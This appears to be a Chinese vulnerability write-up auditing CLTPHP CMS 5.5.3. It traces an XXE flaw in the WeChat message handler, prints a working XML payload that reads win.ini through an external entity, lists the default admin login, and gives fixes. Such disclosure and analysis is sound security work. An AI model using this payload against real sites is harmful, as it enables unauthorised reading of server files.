0x01 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/app/wchat/controller/Wchat.php第100-133行:

在这段代码中,用file_get_contents("php://input") 接收XML数据,然后带入simplexml_load_string函数中,导致程序在实现上存在XML外部实体注入。

接着往下看,如何去利用呢?

xml的解析结果返回给$postObj,进行条件判断,根据MsgType取值进入不同的回复机制中处理,当MsgType=text,进入MsgTypeText函数,跟进这个函数看看:

2、漏洞文件位置:/app/wchat/controller/Wchat.php 第141-172行:

这段函数进行消息回复处理,将获得$contentStr进行判断是否是数组,然后带入函数处理,最后返回结果。我们来看一下event_key_text函数:

3、漏洞文件位置:/extend/clt/WchatOauth.php 第155-171行:

通过sprintf函数返回6个节点,其中ToUserName、FromUserName可控,我们可以通过构造Payload,实现任意文件读取,攻击者可利用该漏洞获取网站敏感信息。

0x02 漏洞利用

1、 通过构造Paylod读取win.ini文件内容

Pauload:http://127.0.0.1/wchat/wchat/getMessage.html

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
  3. <root><MsgType>text</MsgType> <ToUserName>&xxe; </ToUserName></root>

0x03 修复建议

方案一、使用开发语言提供的禁用外部实体的方法

PHP:libxml_disable_entity_loader(true);

方案二、过滤用户提交的XML数据 关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

最新文章

  1. Android数据加密之Rsa加密
  2. sharepoint OWA问题解决
  3. mysql命令行参数(转)
  4. Bootstrap 4 中 Alerts 实现
  5. SSH 超时断开连接解决办法
  6. 在Unity3D 4中关联Visual Studio 2012来编写C#
  7. sql-----点点滴滴
  8. Linux之目录基本操作命令
  9. jquery 的页面下拉选项
  10. python自动化运维五:paramiko
  11. CUDA版本的OpenCL在windows 7的下编程初步
  12. (一)ABP添加控制器和页面(有时候页面不出来)
  13. 携程Apollo配置中心架构深度剖析
  14. 基于pgrouting的最短路径规划
  15. python-小数据池 and 编码
  16. 为什么Github要把代码合并请求称为pull request而不是push request?
  17. 【BZOJ】【3339】Rmq Problem
  18. ubuntu 手动安装mysql
  19. struts2读取request,session,application中的值
  20. C# 各种类型的转换

热门文章

  1. webpack1--安装与初始化
  2. java android使用Gson解析泛型json数据
  3. 关于 C# 十进制不足补位的应用
  4. Python之collections.defaultdict
  5. 【转】【项目管理与构建】Maven
  6. 【转】VSCode Web开发插件
  7. Linux系统中如何校验SHA1和MD5?
  8. SpringMVC系列(二): SpringMVC各个注解的使用
  9. EF5+MVC4系列(5) 删除的方法 1:系统推荐的先查询后remove删除的方法 2:自己new一个包含主键的类,然后 attach附加 remove删除;3:使用db.Entry 修改状态删除4:EntityState的几种状态
  10. 互联网公司GitHub repo 语言使用情况